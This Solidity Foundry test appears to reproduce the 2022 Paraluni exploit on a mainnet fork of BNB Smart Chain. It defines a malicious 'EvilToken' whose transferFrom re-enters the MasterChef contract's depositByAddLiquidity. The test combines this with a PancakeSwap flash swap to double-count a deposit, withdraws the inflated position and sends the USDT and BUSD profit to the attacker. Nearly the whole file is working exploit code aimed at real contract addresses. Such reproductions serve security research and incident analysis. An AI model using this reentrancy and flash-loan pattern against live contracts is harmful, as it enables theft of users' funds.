src/test/2022-03/Paraluni_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
3pragma solidity >=0.7.0 <0.9.0;
4 
5import "forge-std/Test.sol";
6import "./../interface.sol";
7 
8contract EvilToken {
9    IMasterChef masterchef;
10    IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);
11    IERC20 busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
12 
13    constructor(
14        IMasterChef _masterchef
15    ) {
16        masterchef = _masterchef;
17    }
18 
19    function allowance(address owner, address spender) external view returns (uint256) {
20        return 2 ** 256 - 1;
21    }
22 
23    function balanceOf(
24        address account
25    ) external view returns (uint256) {
26        return 1111;
27    }
28 
29    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
30        if (address(masterchef) != address(0) && address(msg.sender) != address(masterchef)) {
31            usdt.approve(address(masterchef), 2 ** 256 - 1);
32            busd.approve(address(masterchef), 2 ** 256 - 1);
33            masterchef.depositByAddLiquidity(
34                18, [address(usdt), address(busd)], [usdt.balanceOf(address(this)), busd.balanceOf(address(this))]
35            );
36        }
37        return true;
38    }
39 
40    function redeem() external {
41        (uint256 _amount,) = masterchef.userInfo(18, address(this));
42        masterchef.withdrawAndRemoveLiquidity(18, _amount, false);
43        usdt.transfer(msg.sender, usdt.balanceOf(address(this)));
44        busd.transfer(msg.sender, busd.balanceOf(address(this)));
45    }
46}
47 
48contract ContractTest is Test {
49    IPancakePair pair = IPancakePair(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);
50    IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);
51    IERC20 busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
52    IMasterChef masterchef = IMasterChef(0x633Fa755a83B015cCcDc451F82C57EA0Bd32b4B4);
53    EvilToken token0;
54    EvilToken token1;
55    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
56 
57    function setUp() public {
58        cheats.createSelectFork("bsc", 16_008_280); //fork bsc at block 16008280
59    }
60 
61    function testExploit() public {
62        token0 = new EvilToken(IMasterChef(address(0)));
63        token1 = new EvilToken(masterchef);
64        pair.swap(10_000 * 1e18, 10_000 * 1e18, address(this), new bytes(1));
65        emit log_named_uint("Before exploit, Dai balance of attacker:", usdt.balanceOf(msg.sender));
66        emit log_named_uint("After exploit, Dai balance of attacker:", busd.balanceOf(msg.sender));
67 
68        //iWithdraw.processExits(0x6B175474E89094C44Da98b954EedeAC495271d0F);
69        //  emit log_named_uint("After exploit, Dai balance of attacker:",idai.balanceOf(msg.sender));
70    }
71 
72    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
73        usdt.transfer(address(token1), usdt.balanceOf(address(this)));
74        busd.transfer(address(token1), busd.balanceOf(address(this)));
75        masterchef.depositByAddLiquidity(18, [address(token0), address(token1)], [uint256(1), uint256(1)]);
76        (uint256 _amount,) = masterchef.userInfo(18, address(this));
77        masterchef.withdrawAndRemoveLiquidity(18, _amount, false);
78        address[] memory t = new address[](2);
79        t[0] = address(busd);
80        t[1] = address(usdt);
81        masterchef.withdrawChange(t);
82        token1.redeem();
83        usdt.transfer(msg.sender, ((amount0 / 9975) * 10_000) + 10_000);
84        busd.transfer(msg.sender, ((amount1 / 9975) * 10_000) + 10_000);
85        usdt.transfer(tx.origin, usdt.balanceOf(address(this)));
86        busd.transfer(tx.origin, busd.balanceOf(address(this)));
87    }
88}